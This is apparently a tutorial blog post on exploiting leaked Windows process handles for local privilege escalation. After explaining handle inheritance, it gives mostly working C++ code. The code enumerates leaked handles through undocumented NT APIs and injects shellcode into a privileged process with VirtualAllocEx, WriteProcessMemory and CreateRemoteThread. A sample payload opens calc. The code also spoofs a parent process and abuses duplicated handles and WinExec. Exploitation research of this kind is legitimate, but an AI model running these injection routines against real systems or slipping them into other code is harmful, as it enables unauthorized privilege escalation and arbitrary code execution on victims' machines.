Windows application exploitation - Leaky Handles

About Windows Application Exploitation Series:

In this series, we will look at several unique ways to exploit a windows application.

Please sign up or leave a like, if you enjoyed reading this and found it informational.

Part 1: Leaky Handles

Github repo link

What are handles?

As per MSDN, Objects are data structures that represent a system resource, this can be a file, process, thread, etc.
However, we cannot interact with them directly, to access the resource or the object we need a Handle to them.

Obtaining a Handle is trivial and can be done in multiple ways, a simple example using OpenProcess is:

int pid = <insert pid here>;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, true, pid);

However, to obtain a Handle to a process, you need to have certain permissions. A user process cannot just obtain a handle to an administrator process and make changes to it directly because that would allow the user process to inject code into the process with higher privileges or control its behavior which will ultimately lead to vulnerabilities like remote or local privilege escalation, dos, etc.

Leaky Handles and their inheritance

This can be described as a scenario where handles to a resource are leaked to another process (child process) and now it can interact with the resource it originally did not have access to.

At this point, it is important to understand that handles can be inherited between parent and child process even if they are running in with different permissions.

MSDN handle inheritence explains this and lays out a scenario for the same.

When an application opens a handle to a resource and doesn’t close it, it leads to a handle leak or a memory leak, in which the memory is allocated but never freed.

Vulnerabilities

Not closing a handle or just bad coding leads to multiple scenarios:

  1. The handle is not closed but the attacker cannot inject code in a way to misuse it. In this case, an attacker can still cause DOS conditions by spawning a large number of handles which will fill the memory and ultimately crash the application or the system. This can be done remotely as well.
    Example. Telnet DOS
    When the session was terminated, telnet failed to close handles properly. This lead to resources exhaustion and cause a denial of service situation where new sessions could not be established.
    Even tho this is an old example, this is fairly common.

  2. When a privileged handle is leaked to a less privileged process, it allows the less privileged process to escalate its privileges, leading to a standard case of privilege escalation.
    Example. Cygwin local privilege escalation
    We will be focusing on this scenario more.

Setup

Imagine a process with higher privileges has an opened Handle to itself or any other privileged process or thread, Now this process creates a child process using CreateProcess() or CreateProcessAsUser() with lower privileges and leaks all its open handles to it.
This child process can simply use this handle to inject code depending on the permissions and elevate its privileges.

I will be creating 2 different Visual Studio Projects - The parent process and the child process.

I will only be attacking leaked process handles in this one, for attacking threads other than some minor changes, rest everything will remain the same.

The parent process:

Full code with proper comments can be found on my GitHub

// create handle to be leaked. Note- this handle has not been closed
HANDLE hParent = ::OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// Create a child process with lower privileges
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
WCHAR child_proc_name[] = L"C:\\leaky_handle_child.exe";
::CreateProcessAsUser(hUsertoken, child_proc_name, nullptr, nullptr, nullptr, TRUE, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi));

// this child process will have the handle of the admin process and can use it in any way it likes

// finally wait for the child process to be done and then clean up
::WaitForSingleObject(pi.hProcess, INFINITE);

::CloseHandle(pi.hProcess);
::CloseHandle(pi.hThread);

The child process

full code with proper comments can be found on my Github

The code for the child process will be kinda long.

Step 1: obtain the leaked handle using undocumented Native API

HANDLE GetLeakedHandle()
{   
	// declare everything we need
#define SystemHandleInformation 16

    ULONG hInfoSize = 0x1000;
    NTSTATUS status;
	PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(hInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;

	// use Ntdll exported functions.
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	DWORD dwOwnPID = GetCurrentProcessId();

	_NtQuerySystemInformation pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
	_NtDuplicateObject pNtDuplicateObject = (_NtDuplicateObject)GetProcAddress(hNtdll, "NtDuplicateObject");
	_NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");
	_RtlEqualUnicodeString pRtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(hNtdll, "RtlEqualUnicodeString");
	_RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
	
	ULONG_PTR pbi[6]; ULONG ulSize = 0;

	LONG(WINAPI * NtQueryInformationProcess)(HANDLE ProcessHandle,
		ULONG ProcessInformationClass, PVOID ProcessInformation,
		ULONG ProcessInformationLength, PULONG ReturnLength);

	*(FARPROC*)&NtQueryInformationProcess = GetProcAddress(
		hNtdll, "NtQueryInformationProcess");

	printf("[+] Initialization done, now fetchin all handles\n");

	//size is guessed with double size since we dont know size and NtQuerySysteminfo wont give us right one
	while ((status = pNtQuerySystemInformation(SystemHandleInformation, phHandleInfo, hInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
		phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(phHandleInfo, hInfoSize *= 2);
	
	if (status != STATUS_SUCCESS)
	{
		printf("[-] NtQuerySystemInformation failed, errcode: %d\n", GetLastError());
		return nullptr;
	}

	printf("[+] Fetched %d handles\n", phHandleInfo->HandleCount);
	printf("[+] Fetching handles of our process.\n");
	// now lets traverse in these
	for (int i = 0; i < phHandleInfo->HandleCount; i++) {
		SYSTEM_HANDLE handle = phHandleInfo->Handles[i];
		HANDLE dupHandle = NULL;
		POBJECT_TYPE_INFORMATION objectTypeInfo;
		PVOID objectNameInfo;
		UNICODE_STRING objectName;
		ULONG returnlength;

		// we just want handles of our process
		if (handle.ProcessId != GetCurrentProcessId())
			continue;

		objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
		if (NtQueryObject(
			(HANDLE)handle.Handle,
			OBJECT_INFORMATION_CLASS::ObjectTypeInformation,
			objectTypeInfo,
			0x1000,
			NULL
		) != STATUS_SUCCESS ) {
			printf("[-] Error in querying %#x!, errcode %d\n", handle.Handle, GetLastError());
			continue;
		}
		
		// Query the object name unless it has an access 0x0012019f
		// NtQueryObject hangs on this one

		if (handle.GrantedAccess == 0x0012019f) {
			printf("[!] Skipping querying handle with permission 0x12019f\n");
			free(objectTypeInfo);
			continue;
		}
		
		// lets get name
		objectNameInfo = malloc(0x1000);

		if (NtQueryObject(
			(HANDLE)handle.Handle,
			1,
			objectNameInfo,
			0x1000,
			&returnlength
			)!= STATUS_SUCCESS) {

				// Reallocate the buffer and try again.
				objectNameInfo = realloc(objectNameInfo, returnlength);
				if (NtQueryObject(
					(HANDLE)handle.Handle,
					1,
					objectNameInfo,
					returnlength,
					NULL
					)!= STATUS_SUCCESS) {

					// We have the type name, so just display that.
					printf("[!] Cannot query name of [%#x] %.*S\n",
						handle.Handle,
						objectTypeInfo->TypeName.Length / 2,
						objectTypeInfo->TypeName.Buffer
					);
					free(objectTypeInfo);
					free(objectNameInfo);
					continue;
			}
		}
		// check for obtaining Process Handle
		objectName = *(PUNICODE_STRING)objectNameInfo;
		UNICODE_STRING pProcess, pThread;

		pRtlInitUnicodeString(&pThread, L"Thread");
		pRtlInitUnicodeString(&pProcess, L"Process");

		// we need process
		if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
			printf("[+] Found process handle (%x)\n", handle.Handle);
			HANDLE hProcess = (HANDLE)handle.Handle;
			hProc = hProcess;

			if (NtQueryInformationProcess != NULL && NtQueryInformationProcess(
				hProc, 0, &pbi, sizeof(pbi), &ulSize) >= 0 &&
				ulSize == sizeof(pbi)) {
					std::cout << "[+] Fetching more details" << std::endl;
					std::cout << "[*] ExitStatus                     " << pbi[0] << std::endl;
					std::cout << "[*] PebBaseAddress                 " << pbi[1] << std::endl;
					std::cout << "[*] AffinityMask                   " << pbi[2] << std::endl;
					std::cout << "[*] BasePriority                   " << pbi[3] << std::endl;
					std::cout << "[**] UniqueProcessId               " << pbi[4] << std::endl;
					std::cout << "[**] InheritedFromUniqueProcessId  " << pbi[5] << std::endl;
			}
		}
		else if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pThread, TRUE)) {
			printf("[+] Found thread handle (%x)\n", handle.Handle);
			HANDLE hThread = (HANDLE)handle.Handle;
                        // if you want to get leaked thread return hProc here
		}
		else {
			printf(
				"[!] Found Handle %#x %.*S: %.*S\n",
				handle.Handle,
				objectTypeInfo->TypeName.Length / 2,
				objectTypeInfo->TypeName.Buffer,
				objectName.Length / 2,
				objectName.Buffer);
				free(objectTypeInfo);
				free(objectNameInfo);
			continue;
		}
		free(objectTypeInfo);
		free(objectNameInfo);
		
	};
	if (hProc != INVALID_HANDLE_VALUE && hProc != NULL) {
		printf("[+] Returning valid leaky handle\n");
	}
	return hProc;
};

Step 2: exploit

As per Microsoft, a process handle can have the following process-specific access rights.

Out of these, not every access right can be exploited in a meaningful way without complex chains, however several of the access rights which are more common will give easy code execution in the context of higher privilege.

Let’s start with first

PROCESS_ALL_ACCESS

As clear from the name, you have all the access to do play with the Handle process. A simple example can be created by using this shellcode

	// calc.exe shell code 195 bytes long 32 bit for testing
	// https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
	char code[] = \
		"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
		"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
		"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
		"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
		"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
		"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
		"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
		"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
		"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
		"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
		"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
		"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
		"\x52\xff\xd0";

Function

void process_all_access(HANDLE& handle, const char* payload, int size) {
	//create buffer
	LPVOID buffer = VirtualAllocEx(handle, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // write to it
	if (!WriteProcessMemory(handle, buffer, payload, size, NULL)) {
		printf("[-] WriteProcessMemory Failed, errcode %d\n", GetLastError());
		return;
	}
    // basic dll injection technique 
	if (!CreateRemoteThread(handle, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, NULL)) {
		printf("[-] CreateRemoteThread Failed, errcode %d\n", GetLastError());
		return;
	};
	printf("[+] Success!!!\n");
	return;
}

called by

process_all_access(leaked_handle, code, 195);

PROCESS_CREATE_PROCESS

By MSDN, Required to use this process as the parent process with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

We can create a new process and change its parent to the process we have handle of.

Function

// feel free to pass nullptr in appname, if you know what you doing
void process_create_process(HANDLE& handle, wchar_t AppName[], wchar_t Command[]) {
	STARTUPINFOEX si = { sizeof(si) };
	PROCESS_INFORMATION pi;
	si.StartupInfo.cb = sizeof(STARTUPINFOEX);

	LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL;
	SIZE_T size = 0;
	
	// change the parent of this process to our handle
	InitializeProcThreadAttributeList(NULL, 1, 0, &size); // to get size
	ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(size); // now allocate
	InitializeProcThreadAttributeList(ptList, 1, 0, &size); // initialize

	if (!UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL)) {
		printf("[-] UpdateProcThreadAttribute failed, errcode %d\n", GetLastError());
		return;
	};
	si.lpAttributeList = ptList;

	// a bug in windows api requires the param of commandline to be modifiable, this is not present in CreateProcessA
	// because of this typecast is necssary when passing arguements
	if (!CreateProcessW(AppName, Command, nullptr, nullptr, TRUE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi)) {
		printf("[-] CreateProcessW failed, errcode %d\n", GetLastError());
		return;
	};

	// clean up
	DeleteProcThreadAttributeList(ptList);
	free(ptList);

	printf("[+] Success!!!\n");
}

call it by

	process_create_process(leaked_handle, (wchar_t*)L"C:\\Windows\\notepad.exe", (wchar_t*)L"notepad");

PROCESS_DUP_HANDLE

Required to duplicate a handle using DuplicateHandle.

Trivial, We can dup the handle as process_all_access, and then it becomes the same as above.

void process_dup_handle(HANDLE &handle, const char* payload, int size) {

	HANDLE hDup = NULL;
	DuplicateHandle(handle, GetCurrentProcess(), GetCurrentProcess(), &hDup, PROCESS_ALL_ACCESS, 0, 0);
	
	LPVOID buffer = VirtualAllocEx(handle, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!WriteProcessMemory(handle, buffer, payload, size, NULL)) {
		printf("[-] WriteProcessMemory Failed, errcode %d\n", GetLastError());
		return;
	}
	if (!CreateRemoteThread(handle, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, NULL)) {
		printf("[-] CreateRemoteThread Failed, errcode %d\n", GetLastError());
		return;
	};
	printf("[+] Success!!!\n");
}

PROCESS_CREATE_THREAD

Required to create a thread in the process.

Since it’s not possible with just this privilege to store a string or command that we need to execute inside the elevated binary.

This requires reverse engineering
/imply dump the strings of the parent or any module included by it and find a call to any .exe file or DLL file.

Once, you find the string you want to execute, things become much easier.

Obtain the base address of the module you found your string inside, and load it in memory.

To get module base address

uintptr_t GetModuleBaseAddress(DWORD procId, const wchar_t* modName)
{
	uintptr_t modBaseAddr = 0;
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, procId);
	if (hSnap != INVALID_HANDLE_VALUE)
	{
		MODULEENTRY32 modEntry;
		modEntry.dwSize = sizeof(modEntry);
		if (Module32First(hSnap, &modEntry))
		{
			do
			{
				if (!_wcsicmp(modEntry.szModule, modName))
				{
					modBaseAddr = (uintptr_t)modEntry.modBaseAddr;
					break;
				}
			} while (Module32Next(hSnap, &modEntry));
		}
	}
	CloseHandle(hSnap);
	return modBaseAddr;
}

Now, get the pointer to it using the offset.

DWORD stringcmd = (GetModuleBaseAddress(GetCurrentProcessId(), modulename) + offset);

Now simply execute it with

CreateRemoteThread(handle, NULL, 0,
		(LPTHREAD_START_ROUTINE)WinExec, // LoadLibraryA works too 
		(LPVOID)stringcmd,
		0, NULL);

That’s it for this one.
I will leave the rest for you to work out yourself.